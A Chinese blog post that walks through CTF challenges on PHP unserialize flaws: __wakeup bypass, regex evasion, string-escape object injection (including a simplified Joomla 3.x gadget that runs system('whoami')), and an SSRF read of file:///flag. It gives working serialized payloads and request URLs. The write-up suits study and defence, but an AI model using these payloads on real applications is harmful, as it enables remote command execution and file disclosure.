php序列化与反序列化


0x01 unserialize3

以攻防世界的一道题目为例讲解序列化和反序列化

class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=

__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了
但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化
利用php中的new运算符,实例化类xctf

new 是申请空间的操作符,一般用于类
比如定义了一个

class a{
    public i=0;
}
$c = new a(); 

相当于定义了一个基于a类的对象,这时候 $c->i 就是0

写一段代码执行

<?php
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//少了一个}
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
序列化返回的字符串格式

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值

所以要修改属性值< n >,既把1改为2以上

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传参给code得到flag

http://111.198.29.45:49464/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}

0x02 Web_php_unserialize

打开一看,源码出来了

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //第2个绕过点
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { //第1个绕过点
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

image-20210912151317927

显示不出来的字符是\00

1.第一个要绕过的点就是让正则匹配不到格式

‘/[oc]:\d+:/i’:表示’([字符O或C]:[一个或多个数字])‘格式进行匹配,用‘+’可以绕过匹配格式

O:+4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

2.wakeup()的绕过

wakeup()函数 当成员属性数目大于实际数目时可绕过wakeup方法 故把1改为2

O:+4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

再经过base64编码就可以拿到flag了

payload:

http://111.200.241.244:61511/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

0x03 经验总结

1.serialize()

serialize($value)用于序列化,支持除了resource的任何类型,它将传参转化成字节流,便于存储,返回字符串,并且可以迭代嵌套

当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。

2.对于类变量public、protected、private序列化的区别

<?php
    class FileHandler_X{
        public $op=2;
        public $filename="flag.php";
        public $content="123";
    }
    
    class FileHandler_Y{
    	protected $op=2;
        protected $filename="flag.php";
        protected $content="123";
    }
    
    class FileHandler_Z{
        private $op=2;
        private $filename="flag.php";
        private $content="123";
    }

    echo serialize(new FileHandler_X());
    echo '<br/>';
    echo serialize(new FileHandler_Y());
    echo '<br/>';
    echo serialize(new FileHandler_Z());

运行如下:

O:13:"FileHandler_X":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"123";}

O:13:"FileHandler_Y":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";s:3:"123";}

O:13:"FileHandler_Z":3:{s:17:"\00FileHandler_Z\00op";i:2;s:23:"\00FileHandler_Z\00filename";s:8:"flag.php";s:22:"\00FileHandler_Z\00content";s:3:"123";}

由上图实验发现,区别只在于对变量名添加了标记:

1.public无标记,变量名不变,长度不变: s:2:”op”;i:2;
2.protected在变量名前添加标记

\00*\00

长度+3:

s:5:"\00*\00op";i:2;

3.private在变量名前添加标记

\00(classname)\00

长度+2+类名长度:

s:17:"\00FileHandler_Z\00op";i:2;

3.魔法函数

序列化漏洞的形成通常和以下魔术方法有关:

__construct()
#类似C构造函数,当一个对象创建时被调用,但在unserialize()时是不会自动调用的

__destruct()
#类似C++析构函数,当一个对象销毁时被调用

__toString()
#当一个对象被当作一个字符串使用时被调用

__sleep()
#serialize()时会自动调用   

__wakeup()
#unserialize()时会自动调用   

__call()  
#当调用对象中不存在的方法会自动调用该方法。

__get()        
#在调用私有属性的时候会自动执行

__isset()       
#在不可访问的属性上调用isset()或empty()触发

__unset()       
#在不可访问的属性上使用unset()时触发
————————————————

0x04 php字符逃逸导致的对象注入

1.漏洞产生原因:

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了

并且如果对于a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块

以以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456”;}是我们想要达到的效果,此时我们想要注入的payload明显为:

“;i:1;s:6:”123456”;}
可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

可以看到此时注入属性成功,反序列化后得到的属性即为123456

2.实例分析

joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心漏洞代码

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化

例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

所以此时首先确定我们要吞掉的字符的长度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234”;}

正常情况下我们要吞掉 “;s:8:”password”;s:4:” 为22位

但是因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

则经过read函数处理后长度将变为24

即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

执行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个过程也容易理解,就是吞掉后面的属性来注入属性,那么达到攻击有以下要求:

1.相邻两个属性的值是我们可以控制的

2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化

比如XNUCA2018 hardphp就考察了一个这个相关的trick

这里就出现了用前面的data在反序列化时向后吞一位字符,从而可以导致吞掉后面的普通用户的username字段,而在username字段可以放上我们想要伪造的username,从而达到伪造session的目的

3.例题分析

newphp

这个是一道bugku上面的题目

打开一看

image-20211009154413590

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

有个hint.php文件应该是个重点,打开一看

image-20211009154549005

啥也没有,还是老实做题吧一步步来

首先在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类

image-20211009154925975

再将将evil后面的数字改的更大就行了(绕过_wakeup只需对象属性个数值改得比真实对象大)

payload:O:4:”evil”:2:{s:4:”hint”;s:8:”hint.php”;}

然后再user类中,有read()方法和write() 方法

这两个方法都是经过处理后才进行反序列化的

这里就有一个漏洞了,php反序列化字符串逃逸

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化

漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入

详细的可以看下这篇文章

user类触发的payload为:O:4:”User”:2:{s:8:”username”;s:3:”111”;s:8:”password”;s:41:”O:4:”evil”:2:{s:4:”hint”;s:8:”hint.php”;}”;}

这时候我们要替换掉的就是:”;s:8:”password”;s:41:” 共有23位

而每次添加一组\0\0\0能多吞掉3个字符,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个

payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1”;O:4:”evil”:2:{s:4:”hint”;s:8:”hint.php”;}

image-20211009155105389

得到一个字符串

解码得

image-20211009155151950

<?php
 $hint = "index.cgi";
 // You can't see me~

访问一下index.cgi

image-20211009155249439

注意一下这里: “url”: “http://httpbin.org/get?name=Bob" }

输入/?name=11111

发现

image-20211009155344493

这个是ssrf,我不太清楚

知道ssrf存在然后就可以通过file协议来直接读取flag了

payload:?name= file:///flag

image-20211009155516771

flag{69d8541055858e5b310782106964b04a}

虽然这题解出来了,但还是有些知识点没有掌握

涉及知识点:序列化与反序列化、php字符串逃逸、SSRF


文章作者: lengf233
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lengf233 !
  目录